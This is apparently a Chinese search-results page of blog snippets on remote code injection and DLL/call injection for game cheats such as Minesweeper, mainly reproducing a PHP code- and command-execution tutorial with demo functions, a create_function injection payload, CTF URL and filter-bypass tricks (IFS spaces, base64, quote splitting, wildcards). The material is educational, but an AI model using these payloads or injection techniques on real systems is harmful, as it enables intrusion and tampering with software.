精华内容
下载资源
问答
  • 代码远程注入

    2013-10-23 16:47:18
    首先在输入某段函数代码前 需要知道函数代码所在的位置;可以通过函数名获取真实函数地址:、 DWORD dwAddr=*(PDWORD)((DWORD)mFunc+1)+(DWORD)...定义无传参数注入远程call void __declspec(naked) NormalAtt() { /

    首先在输入某段函数代码前 需要知道函数代码所在的位置;可以通过函数名获取真实函数地址:、

    DWORD dwAddr=*(PDWORD)((DWORD)mFunc+1)+(DWORD)mFunc+5;

    其中mfunc为我们定义的函数

    mfunc函数可以分为有参函数与无参函数:

    定义无传参数注入远程call

    void __declspec(naked) NormalAtt()
    {
    //
    _asm{
    pushad
    push -1
    push 0
    push 0
    push 0
    mov eax,0x0C7D888
    mov eax,[eax]
    mov eax,[eax+0X1C]
    mov eax,[eax+0X28]
    mov ecx,eax
    mov eax,dwAddr
    call eax
    popad
    retn
    }
    定义有参注入远程call
    void __declspec(naked) Selmon(DWORD selectmonid)
    {
    //
    _asm{
    push ebp
    mov ebp,esp
    pushad
    mov eax,selectmonid
    mov eax,[eax]
    push eax
    mov eax,0x0C7D888
    mov eax,[eax]
    mov eax,[eax+0X20]
    mov ecx,eax
    add ecx,0x248
    mov eax,dwAddr
    call eax
    popad
    pop ebp
    retn
    }
    }


    转自:代码远程注入

    展开全文
  • CALL注入--扫雷辅助(二)

    千次阅读 2017-12-03 10:29:20
    Call注入简介 差不多有一周的时间,完成了扫雷辅助的项目 项目地址 (感觉好玩的东西, 多有不足,还请各位交流指正) 过程中遇到相当多的问题麻烦, 逐个解决.难得闲暇, 就记录过程中的一些 point 核心代码 ...

    Call注入简介

    差不多有一周的时间,完成了扫雷辅助的项目
    项目地址
    (感觉好玩的东西, 多有不足,还请各位交流指正)
    过程中遇到相当多的问题与麻烦, 逐个解决.难得闲暇,
    就记录过程中的一些 point

    核心代码

    
    CONST LPWORD offsetFnClick = (LPWORD)0x01003512;        //选方格的函数地址
    
    BOOL Click(DWORD x, DWORD y)
    {
        _asm {
            //这里压入参数
            push x       
            push y       
            call offsetFnClick  //调用选方格函数
        }
        return 0;
    }

    上面的代码片 就是实现了在雷区的点击 , 点击(x,y)这个方格
    实现这个功能的核心代码很简单, 一看就懂 , 压参数, 然后直接call地址
    这里记录的原因,算是学习了一种新的途径吧

    常规思路是在Local 的应用里面 , 发送鼠标消息, 来模拟 鼠标的点击, 和移位. 简约简单 ,但是感觉一点都不professional.
    这种直接 call remote 的内部函数,显然显得高效 , 舒服

    实现过程

    实现过程并不复杂 , 这段代码是存在与DLL 文件中的, 我们用常规方法
    把 该dll 注入到 remote 的内存空间 , 这样 就可以控制 ,使其 CALL 点击函数

    1. 打开远程线程
    2. 使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区
    3. 在远程进程中写缓冲区
    4. 取得 loadlibrary 地址
    5. 创建远程线程

    上面也是流程
    具体远程线程注入过程见远程线程注入

    关键点,在于后面的 offsetFnClick
    这个是 扫雷程序里面点击的 函数地址 , 照这个函数 , 基本是od 单步下来的
    (其实早该看栈回溯的…)

    展开全文
  • 代码执行命令执行

    千次阅读 2019-09-27 16:01:00
    代码执行命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_arr...


    看到一位大佬写的一篇关于代码执行和命令注入的短文章,还挺实用,尤其是对于我们这些新手来说,所以拿来分享

    内容引自:链接地址

    0x01 代码执行

    代码执行概念

    远程代码执行实际上就是调用服务器网站代码进行执行。

    执行方法

    1.eval

    eval():将字符串当做函数进行执行(需要传入一个完整的语句),执行后会输出一个hello
    demo:
    <?php
    eval(‘echo “hello”;’);
    ?>

    2.assert

    assert():判断是否为字符串,是则当成代码执行
    低版本的demo:

    	<?php assert($_POST['a']);?>
    
    • 1

    php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
    7.0之后的demo:

    	<?php
    	$a = 'assert';
    	$a(phpinfo());
    	?>
    
    • 1
    • 2
    • 3
    • 4

    3.call_user_func

    call_user_func():回调函数,可以使用is_callable查看是否可以进行调用

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = 'system';
    	$b = 'pwd';
    	call_user_func($a,$b);
    	call_user_func('eval','phpinfo()');
    	?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval…

    4.call_user_fuc_array

    call_user_fuc_array():回调函数,参数为数组

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$array[0] = $_POST['a'];
    	call_user_func_array("assert",$array); 
    	?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    5.create_function

    create_function():创建匿名函数

    string create_function(string $args,string $code)

    args是要创建的函数的参数,code是函数内的代码

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = create_function('$code', 'echo $code');
    	$b = 'hello';
    	$a($b);
    
    $a = 'phpinfo();';
    $b = create_function(" ", $a);
    $b();
    ?&gt;
    

      6.preg_replace

      preg_replace():当为/e时代码会执行,前提是不超过php7

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = 'phpinfo()';
      	$b = preg_replace("/abc/e", $a, 'abc');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      7.array_map

      array_map():为数组的每个元素应用回调函数

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = $_GET['a'];
      	$b = $_GET['b'];
      	$array[0] = $b;
      	$c = array_map($a,$array);
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      用法:/?a=assert&b=phpinfo();

      8.array_filter

      array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含

      在返回的结果数组中。数组的键名保留不变。

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$array[0] = $_GET['a'];
      	array_filter($array,'assert');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      9.usort

      usort():使用自定义函数对数组进行排序

      demo:

      	<?php
      	highlight_file(__FILE__);
      	usort(...$_GET);
      	#usort($_GET[1],'assert');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      …$GET是php5.6引入的新特性。即将数组展开成参数的形式
      用法:

      	1[]=phpinfo()&1[]=123&2[]=assert
      
      • 1

      大致过程:

      大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数

      assert,其调用了第一个参数中的phpinfo();

      10.${}

      ${}:中间的php代码将会被解析

      demo:

      	<?php
      	highlight_file(__FILE__);
      	${phpinfo()};
      	?>
      
      • 1
      • 2
      • 3
      • 4

      代码执行例题
      题目:

      	<?php
      	highlight_file(__FILE__);
      	$price = $_GET['price'];
      	$code = 'echo $name.'.'的价格是'.$price.';';
      	$b = create_function('$name', $code);
      	$b('iphone');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7

      代码逻辑很清楚,调用b这个匿名函数,参数为iphone。

      在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:

      	function b($name){
      	 echo $name.'.'的价格是'.$price;
      	}
      
      • 1
      • 2
      • 3

      所以最后构造payload为:123;}phpinfo();/*

      那么传入后代码就会变成下面这样:

      	function b($name){
      	 echo $name.
      	     }phpinfo();/*'.'的价格是'.$price;
      	}
      
      • 1
      • 2
      • 3
      • 4

      0x02 命令执行

      命令执行概念

      通过易受攻击的应用在主机上执行任意命令。

      命令执行常见函数

      1.system

      system:可以执行系统命令并将其输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	system('pwd');
      	system('whoami');
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      2.exec

      exec:执行命令,但无输出,可以使用output进行输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	exec('pwd',$b);
      	var_dump($b);
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      3.passthru

      passthru:执行命令并输出

      demo:

      	<?php
      	highlight_file(__FILE__);
      	passthru('ls');
      	?>
      
      • 1
      • 2
      • 3
      • 4

      4.shell_exec

      shell_exec:执行命令,但无回显

      demo:

      	<?php
      	highlight_file(__FILE__);
      	var_dump(shell_exec('ls'));
      	?>
      
      • 1
      • 2
      • 3
      • 4

      5.反引号

      反引号:执行shell命令,并返回输出的字符串

      demo:

      	<?php
      	highlight_file(__FILE__);
      	$a = 'pwd';
      	echo `$a`;
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      6.ob_start

      ob_start:打开输出控制缓冲

      demo:

      	<?php
      	highlight_file(__FILE__);
      	ob_start("system");
      	echo "whoami";
      	ob_end_flush();
      	?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      0x03 绕过

      1.常见分隔符

      	•	换行符 		 %0a
      	•	回车符		 %0d
      	•	连续指令 	 ;
      	•	后台进程 	 &
      	•	管道符		 |
      	•	逻辑 	||	 &&
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      2.绕过空格

      	•	$IFS
      	•	<
      	•	${IFS}
      	•	$IFS$9
      	•	%09
      
      • 1
      • 2
      • 3
      • 4
      • 5

      3.各类符号

      即使用”substr string pos len“的方法进行取字符

      demo:

      	echo "${PATH:0:1}"
      	echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
      	echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
      	expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
      	•	%0a
      	•	%0d
      	•	%00
      	•	%20
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

      4.敏感字符绕过

      变量绕过

      	a=l,b=s;$a$b
      
      • 1

      base64编码绕过

      	echo 'cat' | base64
      
      • 1

      未定义的初始化变量

      	cat$b /etc/passwd
      
      • 1

      连接符

      	cat /etc/pass’w’d
      
      • 1

      使用通配符:

      如:

      /???/?s --help
      
      • 1

      题目地址:http://moectf.cn:10012/

      payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);

    展开全文
  • 4.菜单CALL CALL是汇编中的一个指令,CPU执行这条指令会执行2个动作:(1)压入EIP入栈 (2)...下面来看下,扫雷游戏中菜单CALL(初级、中级、高级、自定义),并使用代码注入器,注入汇编代码来模拟一次菜单选择的调...

    4.菜单CALL

    CALL是汇编中的一个指令,CPU执行这条指令会执行2个动作:(1)压入EIP入栈 (2)跳转到后面的地址。跟RETN指令配合就实现了汇编中子程序的作用,通常我们说的写CALL就是调用游戏中已经存在的功能子程序。

    CALL指令具体原理请参阅汇编语言相关书籍。

    下面来看下,扫雷游戏中菜单CALL(初级、中级、高级、自定义),并使用代码注入器,注入汇编代码来模拟一次菜单选择的调用。

     

    用OllyDBG打开并运行扫雷游戏,选择菜单“查看”->“窗口”

    (窗口用于列出所有属于被调试程序窗口及其窗口相关的重要参数)

    在打开的Windows窗口上鼠标右键->刷新

    在窗口过程上右键->跟随ClassProc,跟随一下回调函数

    OD窗口跳转到地址0x01001BC9处

    当访问某一个菜单的时候,都会向窗口的回调函数发送一个WM_COMMAND消息。

    根据这个条件,来设置一个条件断点。

     

    在设置条件断点之前,假定参数为WinProc(hWnd, msg, wParam, lParam)

    (为了能在消息上设置断点,OllyDbg 创建了一个名为“<WinProc>”的特殊条件记录断点)

    设置后在地址0x01001BC9的注释处变为 “解码为<WinProc>”

     

    在该位置上设置条件断点 WM_COMMAND==msg

    条件断点是一个带有条件表达式的普通INT3断点。断点为红色。

     

    此时,访问扫雷程序的菜单,将会在断点处断下来,根据OD中堆栈窗口

    找到CALL及相关参数如下图所示:

    可以通过这个消息来控制菜单(或直接调用这个0x01001BC9的这个CALL)

    点击不同的菜单,获取相关数据如下:

     

    初级

    中级

    高级

    自定义

    hWnd

    001C01B4

         

    msg

    00000111

         

    Notify

    00000209

    0000020A

    0000020B

    0000020C

    hControl

    00000000

         

    备注:消息处理函数WindowProc的原型,见WindowsAPI函数原型一节。

     

    代码注入器测试

    先加载扫雷游戏,选择菜单-初级,以便于观察窗口的变化。

    在代码注入器窗口中写入以下汇编代码后,点击“注入远程代码”按钮,可以看到扫雷窗口变为中级。

    push 0

    push 0000020A

    push 00000111

    push 001C01B4

    CALL 0x01001BC9

     

     

    展开全文
  • CSRF 和 XSS 的区别 区别一: CSRF:需要用户先登录网站A,获取 cookie。...XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。 apply、call与bind apply传数组或对象,但对象无作用 ...
  • Spring.net的依赖注入

    2013-03-26 11:15:00
    代码中不直接对象和服务连接,但在配置文件中描述哪一个组件需要哪一项服务。容器负责将这些联系在一起。  其原理是基于OO设计原则的The Hollywood Principle:Don't call us, we'll call you(别找我,我会来...
  • 什么是控制反转依赖注入 控制反转IoC的英文全称是(“Inversion of Control”)。它使程序组件或类之间尽量形成一种松耦合的结构,开发者在使用类的实例之前,需要先创建对象的实例。但是IoC将创建实例的任务交给...
  • 1.3 内存挂游戏的关系 3 1.4 游戏的3个核心概念 5 1.4.1 游戏资源的加/解密 5 1.4.2 游戏协议之发包模型 11 1.4.3 游戏内存对象布局 16 1.5 外挂的设计思路 24 1.6 反外挂的思路 25 1.7 本章小结 26 第2篇 外挂...
  • 1.3 内存挂游戏的关系 1.4 游戏的3个核心概念 1.4.1 游戏资源的加/解密 1.4.2 游戏协议之发包模型 1.4.3 游戏内存对象布局 1.5 外挂的设计思路 1.6 反外挂的思路 1.7 本章小结 第2篇 外挂技术篇 第2章 五花八门的...
  • 永久注入内存中的DLL百度、论坛上已经有很多修改EXE输入表来用久注入DLL的了但这样做就必须放置一个DLL在EXE文件的目录下 看起来不顺眼而且万一被删了就无法运行了今天无聊 我来给大家讲一下怎么修改EXE 使你的DLL...
  • 之前对代码做优化,利用了反射去执行指定类的指定方法: public static JsonResultVO callMethod(Class<?> className, String methodName, Class[] paramClass, Object[] param) ...反射不能执行注入类的方法吗?
  • 子程序 InjectDLL2, 逻辑型, 公开, code cave,InjectDLL1同 .参数 进程ID, 整数型 .参数 DLL文件名, 文本型 .子程序 inline_patch, 逻辑型, 公开, 失败返回假,成功返回真;适合patch尚未运行的加壳或不加壳的可...
  • 郁金香汇编逆向外挂(60)

    千次阅读 2015-05-14 12:33:54
    工具 CE、代码注入器 60 游戏CALL 1、用CE打开扫雷运行两次。 在地址 01003E4C处输入跟随表达式 MessageBoxA 找到地址77D50838 观察到其有4个参数 2、打开代码注入器 写入 push 0 push 0 push 0 push 0 call 77D...
  • Java二进制IO类文件复制操作实例 16个目标文件 内容索引:Java源码,初学实例,二进制,文件复制 Java二进制IO类文件复制操作实例,好像是一本书的例子,源代码有的是独立运行的,同目录下的其它代码文件互不联系...
  • 026-函数调用约定_fastcall与CALL代码 027-if-else汇编与逆向还原代码 028-switch case汇编框架的几种形式 029-switch Case汇编代码还原为C++代码(跳转表) 030-switch Case汇编代码还原为C++代码(索引表) 031-for...
  • 漏洞挖掘防范(进阶篇)

    千次阅读 2018-08-13 08:57:39
    代码执行漏洞是指应用程序本身过滤不严,用户可以通过请求将代码注入到应用中执行。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在,该漏洞主要由eval()、assert()、preg_replace()、call_use...
  • e语言-CE-OD基础课程

    2019-08-23 11:23:07
    资源介绍:1、初识CE2、内存的理解3、搜索类型讲解以及经验分享4、先搜为敬[快速搜索技巧]5、未知数值的搜索6、指针多级指针7、汇编和代码注入8、共享代码的讲解【阵营究竟是什么?】9、特征码技术10、关于人造...
  • 最近一段时间,学习了游戏外挂的制作。由于有windowsc/c++开发的经验,所以学习起比较轻松,没什么难度。...分析出代码的逻辑相关功能call后,就可以注入call来写辅助工具。比如找到吃药的call与当前血量的
  • 2-1-1、CALL调用示例分析-远程代码注入器 2-1-2、调试工具OD简介,血值,魔力值,坐标偏移; 2-1-3、游戏基址概念; 2-2、游戏分析利器OD(OllyDbg) 2-2-1、实例:找角色基址 a、硬件断点-HR-HW-HE-HD b、...
  • 2-1-1、CALL调用示例分析-远程代码注入器 2-1-2、调试工具OD简介,血值,魔力值,坐标偏移; 2-1-3、游戏基址概念; 2-2、游戏分析利器OD(OllyDbg) 2-2-1、实例:找角色基址 a、硬件断点-HR-HW-HE-HD b、...
  • 游戏学习

    2015-04-14 00:01:10
    外挂思想 1.对于注入内存的内存挂,首先是注入外挂模块 2.隐藏外挂模块 3.用户交互并操作游戏核心功能 4.分析游戏安全保护并绕过 5.外挂模块自我保护 ...4.防止外挂call函数,修改代码与数据。 第
  • 最近一段时间,学习了游戏外挂的制作。由于有windowsc/c++开发的经验,所以学习起比较轻松,没什么难度。...分析出代码的逻辑相关功能call后,就可以注入call来写辅助工具。比如找到吃药的call与当前血量的内存...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找打坐CALL...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找打坐CALL...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找打坐CALL...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找打坐CALL...
  • 远程代码注入器 2.1.2、调试工具OD简介,血值,魔力值,坐标偏移; 2.1.3、游戏基址概念; 2.1.4、常用汇编指令详解 2.1.5、内联汇编编程实例 2.2、游戏分析利器OD(OllyDbg) 2.2.1、分析角色基址 2.2.2、找打坐CALL...

空空如也

空空如也

1 2 3 4
收藏数 66
精华内容 26
关键字:

代码注入与call